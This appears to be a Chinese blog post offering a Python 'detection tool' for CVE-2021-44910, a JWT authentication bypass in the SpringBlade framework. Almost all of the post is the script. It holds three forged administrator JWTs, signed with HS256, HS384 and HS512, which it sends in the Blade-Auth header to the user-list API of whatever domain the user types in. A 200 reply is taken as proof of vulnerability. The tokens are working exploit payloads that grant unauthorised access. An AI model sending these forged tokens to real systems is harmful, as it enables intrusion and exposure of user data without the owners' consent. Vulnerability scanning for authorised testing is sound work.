LOADING

加载过慢请开启缓存 浏览器默认开启

CVE-2021-44910漏洞检测工具

2024/8/19 Python

SpringBlade框架公布了发现一个JWT认证的漏洞。我搜索许多基于原理的扫描工具,但没有找到能够支持这个漏洞的工具。可能是因为这个漏洞相对冷门而不被关注。

运行环境

Python3

import requests
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

target = input("请输入需要检测的域名:")
payload = "/api/blade-user/user-list"

def attack(url, payload, payload_list):
    for i in range(len(payload_list)):
        print(f"[*]正在检测:({hash_list[i]}算法) " + url)
        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0",
            "Accept": "application/json, text/plain, */*",
            "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
            "Accept-Encoding": "gzip, deflate",
            "Accept": "*/*",
            "Blade-Auth": f"bearer {payload_list[i]}",
            "Connection": "close",
        }
        response = requests.get(url + payload, headers=headers, verify=False, timeout=10)
        print(detection(response, url))

def detection(response, url):
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        text = response.text
        data = json.loads(text)
        code = data["code"]

    except json.JSONDecodeError:
        return "[-]json解析错误,目标不存在漏洞\n"

    except requests.RequestException:
        return "[*]http请求错误,请检查是否可以访问目标服务器\n"

    except KeyError:
        return "[-]code取值出现错误,目标不存在漏洞\n"

    if code is None:
        return "[-]code为空,目标不存在漏洞\n"

    elif code == 200 and response.status_code == 200:
        return "[+]目标存在漏洞:" + url + "\n"

    elif code == 401 and response.status_code == 401:
        return "[-]目标不存在漏洞(缺失令牌,鉴权失败)\n"

    else:
        return "[-]目标不存在漏洞\n"

# proxise = {"http": "http://127.0.0.1:8080", "https": "https://127.0.0.1:8080"}

hash_list = ["HS256", "HS384", "HS512"]
payload_list = [
    "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwicG9zdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODIxNzM4Njc1MjAxIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJuaWNrX25hbWUiOiLnrqHnkIblkZgiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzYWJlciJ9.5qFj53pqhIZVccg_h0WAvd-FAjG7sDwfVUe5gPBHa0g",
    "eyJhbGciOiJIUzM4NCIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwicG9zdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODIxNzM4Njc1MjAxIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJuaWNrX25hbWUiOiLnrqHnkIblkZgiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzYWJlciJ9.gbUWSdFfmzfU_gKzFYjyyJzcrHBfOwswJvptowNwNwfo12QilWudTMg-LbDAOPwk",
    "eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwicG9zdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODIxNzM4Njc1MjAxIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJuaWNrX25hbWUiOiLnrqHnkIblkZgiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzYWJlciJ9.kol9scDVwLDE8U3mM_j8O4UYrpdUc9_Zw935g7Nb979DfRuanai1UeKsK2zCKuR77Otryi0sGzBfGANDbLseBg",
]

if __name__ == "__main__":
    attack(target, payload, payload_list)

使用方法

分别采用了"HS256", "HS384", "HS512"算法进行测试